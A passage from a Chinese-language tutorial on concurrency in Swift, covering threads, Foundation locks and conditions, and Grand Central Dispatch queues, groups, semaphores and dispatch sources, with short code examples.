这样的概念甚至更久。\n\n操作系统已经通过各种方式开放了这些能力给用户的程序，每个现代的框架或者应用都会实现一些涉及多线程的广为人知的设计模式，来提高程序的性能与灵活性。\n\n在我们开始钻研如何处理 Swift 并发的细节之前，让我先简要地解释几个你需要知道的概念，然后再开始考虑你是使用 \n**Dispatch Queues** 还是 **Operation Queues**。\n\n首先，你可能会问，虽然 Apple 的平台和框架使用了线程，但是我为什么要在自己的应用中引入它们呢？\n\n有一些常见的情况，让多线程的使用合情合理：\n\n- **任务组分离**: 线程能从执行流程的角度，模块化你的程序。不同的线程用可预测方式，执行一组相同的任务，把他们与你程序的其他执行流程部分隔离，这样你会更容易理解程序当前的状态。\n\n- **独立数据的计算并行化**: 可以使用由硬件线程支持的多个软件线程（可以参考下一条），来并行化在原始输入数据结构的子集上运行的相同任务的多个副本。\n\n- **等待条件达成或 I/O 的一种简洁的实现方式**: 在执行 I/O 阻塞或其他类型的阻塞操作时，可以使用后台线程来干净地等待这些操作完成。使用线程可以改进你程序的整体设计，并且使处理阻塞问题变成细枝末节的事情。\n\n但是，当多个线程执行你应用的代码时，一些从单线程的角度看起来无意义的假设就变得非常重要了。\n\n在每个线程都独立地执行且没有数据共享的完美情况下，并发编程实际上并不比编写单线程执行的代码复杂多少。但是，就像经常发生的那样，你打算用多个线程操作同一数据，那就需要一种方式来规划对这些数据结构的访问，以确保该数据上的每个操作都按预期完成，而不会与其他线程有任何的交互操作。\n\n并发编程需要来自语言和操作系统的额外保证，需要明确地说明在多个线程同时访问变量（或更一般的称之为“资源”）并尝试修改他们的值时，他们的状态是如何变化的。\n\n语言需要定义一个**内存模型**，一组规则明确地列出在并发线程的运行下一些基本语句的行为，并且定义如何共享内存以及哪种内存访问是有效的。\n\n多亏了这个（内存模型)，用户有了一个线程运行行为可预知的语言，并且我们知道编译器将仅对遵循内存模型中定义的内容进行优化。\n\n定义内存模型是语言进化的一个精妙的步骤，因为太严格的模型可能会限制编译器的自身发展。对于内存模型的过去策略，新的巧妙的优化会变得无效。\n\n定义内存模型的例子：\n\n- 语言中哪些语句可以被认为是**原子性**的，哪些不是，哪些操作只能作为一个整体执行，其它线程看不到中间结果。比如必须知道变量是否被原子地初始化。\n\n- 如何处理变量在线程之间的共享，他们是否被默认缓存，以及他们是否会对被特定语言修饰符修饰的缓存行为产生影响。\n\n- 例如，用于标记和规划访问**关键部分**（那些操作共享资源的代码块）的并发操作符一次只允许一个线程访问一个特定的代码路径。\n\n现在让我们回头聊聊在你程序中并发的使用。\n\n为了正确处理并发问题，你要标识程序中的**关键部分**，然后用并发原语或并发化的数据结构来规划数据在不同线程之间的共享。\n\n对代码或数据结构这些部分的强制访问规则打开了另一组问题，这些源于事实的问题就是，虽然期望的结果是每个线程都能够被执行，并有机会修改共享数据，但是在某些情况下，其中一些可能根本无法执行，或者数据可能以意想不到的和不可预测的方式改变。\n\n你将面临一系列额外的挑战，并且必须处理一些常见的问题：\n\n- **竞争条件**: 同一数据上多个线程的操作，例如并发地读写，一系列操作的执行结果可能会变得无法预测，并且依赖于线程的执行顺序。\n\n- **资源争夺**: 多个线程执行不同的任务，在尝试获取相同资源的时候，会增加安全获取所需资源的时间。获取这些资源延误的这些时间可能会导致意想不到的行为，或者可能需要你构建程序来规划对这些资源的访问。\n\n- **死锁**: 多线程之间互相等待对方释放他们需要的资源/锁，这组线程将永远的被阻塞。\n\n- **（线程）饥饿**: 一个永远无法获取资源，或者一组有特定的顺序资源的线程，由于各种原因，它需要不断尝试去获取他们却永远失败。\n\n- **优先级反转**: 具有低优先级的线程持续获取高优先级线程所需的资源，实质地反转了系统指定的优先级。\n\n- **非决定论与公平性**: 我们无法对线程获取资源的时间和顺序做出臆断，这个延迟[无法事前确定](https://en.wikipedia.org/wiki/Unbounded_nondeterminism)，而且它严重的受到线程间争夺的影响，线程甚至从不能获得一个资源。但是用于守护关键部分的并发原语也可以用来构建**公平（fair）**或者支持**公平（fairness）**，确保所有等待的线程都能够访问关键部分，并且遵守请求顺序。\n\n## 语言守护 ##\n\n即使在 Swift 语言本身没有并发性相关功能的时期，它仍然提供了一些有关如何访问属性的保证。\n\n例如全局变量的初始化是原子性地，我们从不需要手动处理多个线程初始化同一个全局变量的并发情况，或者担心初始化还在进行的过程中看到一个只初始化了一部分的变量。\n\n在下次讨论单例的实现时，我们会继续讨论这个特性。\n\n但要记住的重要一点是，延迟属性的初始化并不是原子执行的，现在版本的语言并没有提供注释或修饰符来改变这一行为。\n\n类属性的访问也不是原子的，如果你需要访问，那你不得不实现手动独占式的访问，使用锁或类似的机制。\n\n## 线程 ##\n\nFoundation 提供了 Thread 类，内部基于 pthread，可以用来创建新的线程并执行闭包。\n\n线程可以使用 Thread 类中的 `detachNewThreadSelector:toTarget:withObject:` 函数来创建，或者我们可以创建一个新的线程，声明一个自定义的 Thread 类，然后覆盖 `main()` 函数：\n\n```\nclassMyThread : Thread {\n    override func main(){\n        print(\"Thread started, sleep for 2 seconds...\")\n        sleep(2)\n        print(\"Done sleeping, exiting thread\")\n    }\n}\n\n```\n\n但是自从 iOS 10 和 macOS Sierra 推出以后，所有平台终于可以使用初始化指定执行闭包的方式创建线程，本文中所有的例子仍会扩展基础的 Thread 类，这样你就不用担心为操作系统而做尝试了。\n\n```\n\nvar t = Thread {\n    print(\"Started!\")\n}\n\nt.stackSize = 1024 * 16\nt.start()               //Time needed to spawn a thread around 100us\n```\n\n一旦我们有了一个线程实例，我们需要手动的启动它。作为一个可选步骤，我们也可以为线程定义栈的大小。\n\n线程可以通过调用 `exit()` 来紧急停止，但是我们从不推荐这么做，因为它不会给你机会来干净利落地终止当前任务，如果你有需要，多数情况下你会选择自己实现终止逻辑，或者只需要使用 `cancel()` 函数，然后检查在主闭包中的 `isCancelled` 属性，以明确线程是否需要在它自然结束之前终止当前的工作。\n\n## 同步原语 ##\n\n当我们有多个线程想要修改共享数据时，就很有必要通过一些方式来处理这些线程之间的同步，防止数据破损和非确定性行为。\n\n通常，用于同步线程的基本套路是锁、信号量和监视器。\n\n\n这些 Foundation 都提供了。\n\n正如你要看到的，在 Swift 3 中，这些[没有去掉 NS 前缀](https://github.com/apple/swift-evolution/blob/master/proposals/0086-drop-foundation-ns.md#proposed-solution)的类（对，他们都是引用类型）实现了这些结构，但是在 Swift 接下来的某个版本中也许会去掉。\n\n### NSLock ###\n\nNSLock 是 Foundation 提供的基本类型的锁。\n\n当一个线程尝试锁定一个对象时，可能会发生两件事，如果锁没有被前面的线程获取，那么当前线程将得到锁并执行，否则线程将会陷入等待，阻塞执行，直到锁的持有者解锁它。换句话说，在同一时间，锁是一种只能被一个线程获取（锁定）的对象，这可以让他们完美的监控对关键部分的访问。\n\nNSLock 和 Foundation 的其他锁都是**不公平的**，意思是，当一系列线程在等待获取一个锁时，他们**不会**按照他们原来的锁定顺序来获取它。\n\n你无法预估执行顺序。在线程争夺的情况下，当多个线程尝试获取资源时，有的线程可能会陷入**饥饿**，他们永远也不会获得他们等待的锁（或者不能及时的获得）。\n\n没有竞争地获取锁所需要的时间，测量在 100 纳秒以内。但是在多个线程尝试获取锁定的资源时，这个时间会急速增长。所以，从性能的角度来讲，锁并不是处理资源分配的最佳方案。\n\n让我们来看一个例子，例中有两个线程，记住由于锁会被谁获取的顺序无法确定，T1 连续获取两次锁的机会也会发生（但是不怎么常见）。\n\n```\n\nlet lock = NSLock()\n\nclass LThread : Thread {\n    varid:Int = 0\n    \n    convenience init(id:Int){\n        self.init()\n        self.id = id\n    }\n    \n    override func main(){\n        lock.lock()\n        print(String(id)+\" acquired lock.\")\n        lock.unlock()\n        iflock.try() {\n            print(String(id)+\" acquired lock again.\")\n            lock.unlock()\n        }else{  // If already lockedmove along.\n            print(String(id)+\" couldn't acquire lock.\")\n        }\n        print(String(id)+\" exiting.\")\n    }\n}\n\nvar t1 = LThread(id:1)\nvar t2 = LThread(id:2)\nt1.start()\nt2.start()\n\n```\n\n在你决定使用锁之前，容我多说一句。由于你迟早会调试并发问题，要把锁的使用，限制在某种数据结构的范围内，而不是在代码库中的多个地方直接使用。\n\n在调试并发问题的同时，检查有少量入口的同步数据结构的状态，比跟踪某个部分的代码处于锁定，并且还要记住多个功能的本地状态的方式更好。这会让你的代码走的更远并让你的并发结构更优雅。\n\n### NSRecursiveLock ###\n\n递归锁能被已经持有锁的线程多次获取，在递归函数或者多次调用检查相同锁的函数时很有用处。不适用于基本的 NSLock。\n\n```\nlet rlock = NSRecursiveLock()\n\nclassRThread : Thread {\n    \n    override func main(){\n        rlock.lock()\n        print(\"Thread acquired lock\")\n        callMe()\n        rlock.unlock()\n        print(\"Exiting main\")\n    }\n    \n    func callMe(){\n        rlock.lock()\n        print(\"Thread acquired lock\")\n        rlock.unlock()\n        print(\"Exiting callMe\")\n    }\n}\n\nvar tr = RThread()\ntr.start()\n\n```\n\n### NSConditionLock ###\n\n条件锁提供了可以独立于彼此的附加锁，用来支持更加复杂的锁定设置（比如生产者-消费者的场景）。\n\n一个全局锁（无论特定条件如何都锁定）也是可用的，并且行为和经典的 NSLock 相似。\n\n让我们看一个保护共享整数锁的简单的例子，每次生产者更新而消费者打印都会在屏幕上显示。\n\n```\nlet NO_DATA = 1\nlet GOT_DATA = 2\n\nlet clock = NSConditionLock(condition: NO_DATA)\nvar SharedInt = 0\n\nclassProducerThread : Thread {\n    \n    override func main(){\n        for i in 0..<5 {\n            clock.lock(whenCondition: NO_DATA) //Acquire the lock when NO_DATA//If we don't have to wait for consumers we could have just done clock.lock()\n            SharedInt = i\n            clock.unlock(withCondition: GOT_DATA) //Unlock and set as GOT_DATA\n        }\n    }\n}\n\nclassConsumerThread : Thread {\n    \n    override func main(){\n        for i in0..<5 {\n            clock.lock(whenCondition: GOT_DATA) //Acquire the lock when GOT_DATA\n            print(i)\n            clock.unlock(withCondition: NO_DATA) //Unlock and set as NO_DATA\n        }\n    }\n}\n\nlet pt = ProducerThread()\nlet ct = ConsumerThread()\nct.start()\npt.start()\n\n```\n\n当创建锁的时候，我们需要指定一个由整数代表的初始条件。\n\n`lock(whenCondition:)` 函数在条件符合时会获得锁，或者等待另一个线程用 `unlock(withCondition:)` 设置值来释放锁定。\n\n对比基本锁的一个小改进是，我们可以对更复杂的场景进行稍微建模。\n\n### NSCondition ###\n\n不要与条件锁产生混淆，一个条件提供了一种干净的方式来等待**条件**的发生。\n\n当获取了锁的线程验证它需要的附加条件（一些资源，处于特定状态的另一个对象等等）不能满足时，它需要一种方式被搁置，一旦满足条件再继续它的工作。\n\n这可以通过连续性或周期性地检查这种条件（繁忙等待）来实现，但是这么做，线程持有的锁会发生什么？在我们等待的时候是保持还是释放他们以至于在条件符合时重新获取他们？\n\n条件提供了一个干净的方式来解决这个问题，一旦获取一个线程，就把它放进关于这个条件的一个**等待**列表中，它会在另一个线程**发信号**时，表示条件满足，而被唤醒。\n\n让我们看个例子：\n\n```\nlet cond = NSCondition()\nvar available = false\nvar SharedString = \"\"\nclassWriterThread : Thread {\n    \n    override func main(){\n        for _ in0..<5 {\n            cond.lock()\n            SharedString = \"😅\"\n            available = true\n            cond.signal() // Notify and wake up the waiting thread/s\n            cond.unlock()\n        }\n    }\n}\n\nclassPrinterThread : Thread {\n    \n    override func main(){\n        for _ in0..<5 { //Just do it 5 times\n            cond.lock()\n            while(!available){   //Protect from spurious signals\n                cond.wait()\n            }\n            print(SharedString)\n            SharedString = \"\"\n            available = false\n            cond.unlock()\n        }\n    }\n}\n\nlet writet = WriterThread()\nlet printt = PrinterThread()\nprintt.start()\nwritet.start()\n\n```\n\n### NSDistributedLock ###\n\n分布式锁与之前我们所看到的截然不同，我不期望你经常需要它们。\n\n它们由多个应用程序共享，并由文件系统上的条目（如简单文件）支持。很明显这个文件系统能被所有想要获取他（分布式锁）的应用访问。\n\n这种锁需要使用 `try()` 函数，一个非阻塞方法，它立即返回一个布尔值，指出是否获取锁。获取锁通常需要多次的手动执行，并在连续尝试之间适当延迟。\n\n分布式锁通常使用 `unlock()` 方法释放。\n\n让我们看一个基本的例子：\n\n```\nvar dlock = NSDistributedLock(path: \"/tmp/MYAPP.lock\")\n\niflet dlock = dlock {\n    var acquired = falsewhile(!acquired){\n        print(\"Trying to acquire the lock...\")\n        usleep(1000)\n        acquired = dlock.try()\n    }\n\n    // Do something...\n\n    dlock.unlock()\n}\n\n```\n\n### OSAtomic 你在哪里? ###\n\n像 [OSAtomic](https://www.mikeash.com/pyblog/friday-qa-2011-03-04-a-tour-of-osatomic.html) 提供的原子操作是简单的，并且允许设置、获取或比较变量，而不需要经典的锁逻辑，因为他们利用 CPU 的特定功能（有时是原生原子指令），并提供了比前面锁所描述的更优越的性能。\n\n对于建立并发数据结构来讲，他们是非常有用的，因为处理并发所需的开销被降低到最低。\n\nOSAtomic 在 macOS 10.12 已经被舍弃使用，而在 Linux 上从来都不可以使用，但是一些开源的项目，比如[这个](https://github.com/glessard/swift-atomics)提供了实用的 Swift 扩展，或者[这个](https://github.com/bignerdranch/AtomicSwift)提供了类似的功能。\n\n### 同步块 ###\n\n在 Swift 中你不能像在 Objective-C 中一样，创建一个 @synchronized 块，因为没有等效的关键字可用。\n\n在 Darwin 上，通过一些代码，你可以直接使用 `objc_sync_enter(OBJ)` 和 `objc_sync_exit(OBJ)` 来弄出类似的东西，以进入现有的 @objc 对象监视器，就像 @synchronized 在底层所做的一样，但这并不值得，如果你想要他们更灵活的话，最好是简单地使用一个锁。\n\n就如我们将要描述调度队列时看到的，用队列，我们甚至可以使用更少的代码来执行同步调用来复制这个功能：\n\n```\nvar count: Int {\n    queue.sync {self.count}\n}\n\n```\n\n#### **本文或其他文章的 playground 可以在 [GitHub](https://github.com/uraimo/Swift-Playgrounds) 或 [Zipped](/archives/2017-05-07-ConcurrencyInSwift.playground.zip) 找到。** ####\n\n## GCD: 大中枢派发 ##\n\n对于不熟悉这个 API 的人来说，GCD 是一种基于队列的 API，允许在工作池上执行闭包。\n\n换句话说，包含需要执行的工作的闭包能被添加到一个队列中，队列会依赖于配置选项，顺序或并行的用一系列线程来执行他们。但是无论队列是什么类型的，工作始终会按照**先进先出**的顺序启动，这意味着工作会始终遵循插入顺序启动。完成顺序将依赖于每项工作的持续时间。\n\n这是一种常见的模式，几乎可以从每个处理并发的相对现代的语言运行时系统中找到。线程池的方式比一系列空闲和无关的线程更易于管理、检查和控制。\n\nGCD 的 API 在 Swift 3 中有一些小改动，[SE-0088](https://github.com/apple/swift-evolution/blob/master/proposals/0088-libdispatch-for-swift3.md) 模块化了它的设计，让它看上去更面向对象了。\n\n### 调度队列 ###\n\nGCD 允许创建自定义的队列，但是也提供了一些可以访问的预定义系统队列。\n\n要创建一个顺序执行你的闭包的基本串行队列，你只需要提供一个字符串标签来标识它，通常建议使用反向域名前缀，在堆栈追踪的时候就能简单地跟踪队列的所有者。\n\n```\nlet serialQueue = DispatchQueue(label: \"com.uraimo.Serial1\")  //attributes: .serial\n\nlet concurrentQueue = DispatchQueue(label: \"com.uraimo.Concurrent1\", attributes: .concurrent)\n\n```\n\n我们创建的第二个队列是并发的，意味着在执行工作时，队列会使用底层线程池中的所有可用线程。这种情况下，执行顺序是无法预测的，不要以为你的闭包完成的顺序与插入顺序有任何关系。\n\n可以从 `DispatchQueue` 对象获得默认队列：\n\n```\nlet mainQueue = DispatchQueue.main\n\nlet globalDefault = DispatchQueue.global()\n\n```\n\n**main** 队列是 iOS 和 macOS 上处理图形应用**主事件循环**的顺序主队列，用于响应事件和更新用户界面。就如我们知道的，每个对用户界面的改动都会在这个队列执行，且这个线程中任何一个耗时操作都会使用户界面的渲染变得不及时。\n\n运行时系统也提供了对其他不同优先级全局队列的访问，可以通过 **Quality of Service (Qos)** 参数来查看他们的标识。\n\n不同优先级声明在 `DispatchQoS` 类里，优先级从高到低：\n\n- .userInteractive\n- .userInitiated\n- .default\n- .utility\n- .background\n- .unspecified\n\n重要的是要注意，移动设备提供了低电量模式，在电池较低时，[后台队列会挂起](https://mjtsai.com/blog/2017/04/03/beware-default-qos/)。\n\n要取得一个特定的默认全局队列，使用 `global(qos:)` 根据想要的优先级来获取：\n\n```\nlet backgroundQueue = DispatchQueue.global(qos: .background)\n\n```\n\n在创建自定义队列时，也可以选择使用与其他属性相同的优先说明符：\n\n```\nlet serialQueueHighPriority = DispatchQueue(label: \"com.uraimo.SerialH\", qos: .userInteractive)\n\n```\n\n### 使用队列 ###\n\n包含任务的闭包可以以两种方式提交给队列：**同步**和**异步**，分别使用 `sync` 和 `async` 方法。\n\n在使用前者时，`sync` 会被阻塞，换句话说，当它闭包完成（在你需要等待闭包完成时很有用，但是有更好的途径）时调用的 `sync` 方法才会完成，而后者会把闭包添加到队列，然后允许程序继续执行。\n\n让我们看一个简单的例子：\n\n```\n\nglobalDefault.async {\n    print(\"Async on MainQ, first?\")\n}\n\nglobalDefault.sync {\n    print(\"Sync in MainQ, second?\")\n}\n\n```\n\n多个调度可以嵌套，例如在后台完成一些东西、低优先、需要我们更新用户界面的操作。\n\n```\n\nDispatchQueue.global(qos: .background).async {\n    // Some background work here\n\n    DispatchQueue.main.async {\n        // It's time to update the UI\n        print(\"UI updated on main queue\")\n    }\n}\n\n```\n\n闭包也可以在一个特定的延迟之后执行，Swift 3 最终以一种更舒适的方式指定这个时间间隔，那就是使用 `DispatchTimeInterval` 工具枚举，它允许使用这四个时间单位组成间隔：`.seconds(Int)`、`.milliseconds(Int)`、`.microseconds(Int)` 和 `.nanoseconds(Int)`。\n\n要安排一个闭包在将来执行，使用 `asyncAfter(deadline:execute:)` 方法，并传递一个时间：\n\n```\nglobalDefault.asyncAfter(deadline: .now() + .seconds(5)) {\n    print(\"After 5 seconds\")\n}\n\n```\n\n如果你需要多次并发执行相同的闭包（就像你以前用 **dispatch_apply** 一样），你可以使用 `concurrentPerform(iterations:execute:)` 方法，但请注意，**如果在当前队列的上下文中可能的话**，这些闭包会并发执行，所以记得，始终应该在支持并发的队列中同步或异步地调用此方法。\n\n```\n\nglobalDefault.sync {  \n    DispatchQueue.concurrentPerform(iterations: 5) {\n        print(\"\\($0) times\")\n    }\n}\n\n```\n\n虽然队列在通常情况下，创建好就会准备执行它的闭包，但是它也可以配置为按需启动。\n\n```\nlet inactiveQueue = DispatchQueue(label: \"com.uraimo.inactiveQueue\", attributes: [.concurrent, .initiallyInactive])\ninactiveQueue.async {\n    print(\"Done!\")\n}\n\nprint(\"Not yet...\")\ninactiveQueue.activate()\nprint(\"Gone!\")\n\n```\n\n这是我们第一次需要制定多个属性，但就如你所见，如果需要，你可以用一个数组添加多个属性。\n\n也可以使用继承自 `DispatchObject` 的方法暂停或恢复执行的工作：\n\n```\ninactiveQueue.suspend()\n\ninactiveQueue.resume()\n\n```\n\n仅用于配置非活动队列（在活动的队列中使用会造成崩溃）优先级的方法 `setTarget(queue:)` 也是可用的。调用此方法的结果是将队列的优先级设置为与给定参数的队列相同的优先级。\n\n### 屏障 ###\n\n让我们假设你添加了一组闭包到特定的队列（执行闭包的持续时间不同），但是现在你想只有当所有之前的异步任务完成时再执行一个工作，你可以使用屏障来做这样的事情。\n\n让我们添加五个任务（会睡眠 1 到 5 秒的时间）到我们前面创建的并发队列中，一旦其他工作完成，就利用屏障来打印一些东西，我们在最后 **async** 的调用中规定一个 `DispatchWorkItemFlags.barrier` 标志来做这件事。\n\n```\n\nglobalDefault.sync { \n    DispatchQueue.concurrentPerform(iterations: 5) { (id:Int) in\n        sleep(UInt32(id)+1)\n        print(\"Async on globalDefault, 5 times: \"+String(id))\n    }\n}   \n\nglobalDefault.async (flags: .barrier) {\n    print(\"All 5 concurrent tasks completed\")\n}\n\n```\n\n### 单例和 Dispatch_once ###\n\n就如你所知的一样，在 Swift 3 中并没有与 `dispatch_once` 等效的函数，它多数用来构建线程安全的单例。\n\n幸运地，Swift 保证了全局变量的初始化是原子性地，如果你认为常量在初始化后，他们的值不能发生改变，这两个属性使全局常量成为实现单例的更容易的选择。\n\n```\n\nfinal classSingleton {\n\n    public static let sharedInstance: Singleton = Singleton()\n\n    privateinit() { }\n\n    ...\n}\n\n```\n\n我们将类声明为 `final` 以拒绝它子类化的能力，我们把它的指定构造器设为私有，这样就不能手动创建它对象的实例。公共静态变量是进入单例的唯一入口，它会用于获取单例、共享实例。\n\n相同的行为可以用于定义只执行一次的代码块：\n\n```\nfunc runMe() {\n    struct Inner {\n        static let i: () = {\n            print(\"Once!\")\n        }()\n    }\n    Inner.i\n}\n\nrunMe()\nrunMe() // Constant already initialized\nrunMe() // Constant already initialized\n```\n\n虽然不太好看，但是它的确可以正常工作，而且如果只是**执行一次**，它也是可以接受的实现。\n\n但是如果我们需要完全的复制 `dispatch_once` 的功能，我们就需要从头实现它，就如[同步块](#on-synchronized-blocks)中描述的一样，利用一个扩展：\n\n```\n\nimport Foundation\n\npublic extension DispatchQueue {\n    \n    private static var onceTokens = [Int]()\n    private static var internalQueue = DispatchQueue(label: \"dispatchqueue.once\")\n    \n    public class func once(token: Int, closure: (Void)->Void) {\n        internalQueue.sync {\n            if onceTokens.contains(token) {\n                return\n            }else{\n                onceTokens.append(token)\n            }\n            closure()\n        }\n    }\n}\n\nlet t = 1\nDispatchQueue.once(token: t) {\n    print(\"only once!\")\n}\nDispatchQueue.once(token: t) {\n    print(\"Two times!?\")\n}\nDispatchQueue.once(token: t) {\n    print(\"Three times!!?\")\n}\n\n```\n\n和预期一致，三个闭包中，只有第一个会被实际执行。\n\n或者，可以使用 `objc_sync_enter` 和 `objc_sync_exit` 来构建性能稍微好一点的东西，如果他们在你的平台上可用的话：\n\n```\n\nimport Foundation\n\npublic extension DispatchQueue {\n    \n    privatestatic var _onceTokens = [Int]()\n    \n    publicclass func once(token: Int, closure: (Void)->Void) {\n        objc_sync_enter(self);\n        defer { objc_sync_exit(self) }\n        \n        if _onceTokens.contains(token) {\n            return\n        }else{\n            _onceTokens.append(token)\n        }\n        closure()\n    }\n}\n\n```\n\n### Dispatch Groups ###\n\n如果你有多个任务，虽然把他们添加到不同的队列，也希望等待他们的任务完成，你可以把他们分到一个派发组中。\n\n让我们看一个例子，任务直接被添加到一个特定的组，用 **sync** 或 **async** 调用：\n\n```\nlet mygroup = DispatchGroup()\n\nfor i in0..<5 {\n    globalDefault.async(group: mygroup){\n        sleep(UInt32(i))\n        print(\"Group async on globalDefault:\"+String(i))\n    }\n}\n\n```\n\n任务在 `globalDefault` 上执行，但是我们可以注册一个 `mygroup` 完成的处理程序，我们可以选择在所有这些被完成后，执行这个队列中的闭包。`wait()` 方法可以用于执行一个阻塞等待。\n\n```\nprint(\"Waitingforcompletion...\")\nmygroup.notify(queue: globalDefault) {\n    print(\"Notify received, done waiting.\")\n}\nmygroup.wait()\nprint(\"Done waiting.\")\n\n```\n\n另一种追踪队列任务的方式是，在队列执行调用的时候，手动的进入和离开一个组，而不是直接指定它：\n\n```\n\nfor i in 0..<5 {\n    mygroup.enter()\n    sleep(UInt32(i))\n    print(\"Group sync on MAINQ:\"+String(i))\n    mygroup.leave()\n}\n\n```\n\n### Dispatch Work Items ###\n\n闭包不是指定作业需要由队列执行的唯一方法，有时你可能需要一个能够跟踪其执行状态的容器类型，为此，我们就有 `DispatchWorkItem`。每个接受闭包的方法都有一个工作项的变型。\n\n工作项封装一个由队列的线程池调用 `perform()` 方法执行的闭包：\n\n```\nlet workItem = DispatchWorkItem {\n    print(\"Done!\")\n}\n\nworkItem.perform()\n\n```\n\nWorkItems 也提供其他很有用的方法，比如 `notify`，与组一样，允许在一个指定的队列完成时执行一个闭包\n\n```\nworkItem.notify(queue: DispatchQueue.main) {\n    print(\"Notify on Main Queue!\")\n}\n\ndefaultQueue.async(execute: workItem)\n\n```\n\n我们也可以等到闭包已经被执行或者在队列尝试执行它之前，使用 `cancel()` 方法（在闭包执行之间**不会**取消执行）把它标记为移除。\n\n```\nprint(\"Waiting for work item...\")\nworkItem.wait()\nprint(\"Done waiting.\")\n\nworkItem.cancel()\n\n```\n\n但是，重要的是要知道，`wait()` 不仅仅会阻塞当前线程的完成，也会**提升**队列中所有前面的工作项目的优先级，以便于尽快的完成这个特定的项目。\n\n### Dispatch Semaphores ###\n\nDispatch Semaphores 是一种由多个线程获取的锁，它依赖于计数器的当前值。\n\n线程在信号量上 `wait`，直到那个每当信号量被获取时值都减小的计数器的值为 0\n\n用于访问信号量，释放等待线程的插槽名为 `signal`，它可以让计数器的计数增加。\n\n让我们看一个简单的例子：\n\n```\n\nlet sem = DispatchSemaphore(value: 2)\n\n// The semaphore will be held by groups of two pool threads\nglobalDefault.sync {\n    DispatchQueue.concurrentPerform(iterations: 10) { (id:Int) in\n        sem.wait(timeout: DispatchTime.distantFuture)\n        sleep(1)\n        print(String(id)+\" acquired semaphore.\")\n        sem.signal()\n    }\n}\n\n```\n\n### Dispatch Assertions ###\n\nSwift 3 介绍了一种新的函数来执行当前上下文的断言，可以校验闭包是否在期望的队列上执行。我们可以使用 `DispatchPredicate` 的三个枚举来构建谓词：`.onQueue`，用来校验在特定的队列，`.notOnQueue`，来校验相反的情况，以及 `.onQueueAsBarrier`，来校验是否当前的闭包或工作项是队列上的一个障碍。\n\n```\ndispatchPrecondition(condition: .notOnQueue(mainQueue))\ndispatchPrecondition(condition: .onQueue(queue))\n\n```\n\n#### **本文或其他文章的 playground 可以在 [GitHub](https://github.com/uraimo/Swift-Playgrounds) 或 [Zipped](/archives/2017-05-07-ConcurrencyInSwift.playground.zip) 找到。** ####\n\n### Dispatch Sources ###\n\nDispatch Sources 是处理系统级别异步事件（比如内核信号或系统，文件套接字相关事件）的一种便捷方式。\n\n有几种可用的调度源，分组如下：\n\n- **Timer Dispatch Sources:** **用于在特定时间点或周期性事件中生成事件 (DispatchSourceTimer)。**\n- **Signal Dispatch Sources:** **用于处理 UNIX 信号 (DispatchSourceSignal)。**\n- **Memory Dispatch Sources:** **用于注册与内存使用状态相关的通知 (DispatchSourceMemoryPressure)。**\n- **Descriptor Dispatch Sources:** **用于注册与文件和套接字相关的不同事件 (DispatchSourceFileSystemObject, DispatchSourceRead, DispatchSourceWrite)。**\n- **Process dispatch sources:** **用于监视与执行状态有关的某些事件的外部进程 (DispatchSourceProcess)。**\n- **Mach related dispatch sources:** **用于处理与Mach内核的 [IPC 设备](http://fdiv.net/2011/01/14/machportt-inter-process-communication)有关的事件 (DispatchSourceMachReceive, DispatchSourceMachSend)。**\n\n如果有需要，你也可以构建你自己的调度源。所有调度源都符合 `DispatchSourceProtocol` 协议，它定义了注册处理程序所需的基本操作，并修改了调度源的激活状态。\n\n让我们通过一个 `DispatchSourceTimer` 相关的例子，来理解如何使用这些对象。\n\n源是由 `DispatchSource` 提供的工具方法创建的，在这我们会使用 `makeTimerSource`，指定我们想要执行处理程序的调度队列。\n\nTimer Sources 没有其他的参数，所以我们只需要指定队列，创建源，就如我们所见，能够处理多个事件的调度源通常需要你指定要处理的事件的标识符。\n\n```\n\nlet t = DispatchSource.makeTimerSource(queue: DispatchQueue.global())\nt.setEventHandler{ print(\"!\") }\nt.scheduleOneshot(deadline: .now() + .seconds(5), leeway: .nanoseconds(0))\nt.activate()\n\n```\n\n一旦源被创建，我们就会使用 `setEventHandler(closure:)` 注册一个事件处理程序，如果不需要其他配置，就可以通过 `activate()` 让源可用。\n\n调度源初始化不具备活性，意味着如果没有进一步的配置，他们不会开始传递事件。一旦我们准备就绪，源就能通过 `activate()` 激活，如果有需要，可以通过 `suspend()` 和 `resume()` 来暂时挂起和恢复事件传递。\n\nTimer Sources 需要一个额外的步骤来配置对象需要传递的是哪一种类型的定时事件。在上面的例子中，我们定义了单一的事件，会在注册后 5 秒严格执行。\n\n我们也可以配置对象来传递周期性事件，就像我们使用 [Timer](/swiftbites/nstimer-in-swift-3/) 对象那样：\n\n```\nt.scheduleRepeating(deadline: .now(), interval: .seconds(5), leeway: .seconds(1))\n\n```\n\n当我们完成了调度源的使用，并想要完全停止事件的传递时，我们可以调用 `cancel()`，它会停止事件源，调用消除相关的处理程序（如果我们已经设置了一个处理一些结束后的清理操作，比如注销）。\n\n```\nt.cancel()\n\n```\n\n对于其他类型的调度源来说 API 都是相似的，让我们看一个关于 [Kitura](https://github.com/IBM-Swift/Kitura-net/blob/master/Sources/KituraNet/IncomingSocketHandler.swift#L96) 初始化读取源的例子，它用于在已建立的套接字上进行异步读取：\n\n```\n\nreaderSource = DispatchSource.makeReadSource(fileDescriptor: socket.socketfd,\n                                             queue: socketReaderQueue(fd: socket.socketfd))\n\nreaderSource.setEventHandler() {\n    _ = self.handleRead()\n}\nreaderSource.setCancelHandler(handler: self.handleCancel)\nreaderSource.resume()\n\n```\n\n当套接字的数据缓冲区有新的字节可以传入的时候，`handleRead()` 方法会被调用。Kitura 也使用 **WriteSource** 执行缓冲写入，使用调度源事件[有效地调整写入速度](https://github.com/IBM-Swift/Kitura-net/blob/master/Sources/KituraNet/IncomingSocketHandler.swift#L328)，一旦套接字通道准备好发送就写入新的字节。在执行 I/O 操作的时候，对比于 Unix 平台上的其他低阶 API，读/写源是一个很好的高阶替代。\n\n与文件相关的调度源的主题，另一个在某些情况中可能有用的是 `DispatchSourceFileSystemObject`，它允许监听特定文件的更改，从其名称到其属性。通过此调度源，在文件被修改或删除时，你也会收到通知。Linux 上的事件子集实质上都是由 **inotify** 内核子系统管理的。\n\n剩余类型的源操作大同小异，你可以从 [libDispatch 的文档](https://developer.apple.com/reference/dispatch/dispatchsource)中查看完整的列表，但是记住他们其中的一些，比如 Mach 源和内存压力源只会在 Darwin 的平台工作。\n\n## 操作与可操作的队列 ##\n\n我们简要的介绍一下 Operation Queues，以及建立在 GCD 之上的附加 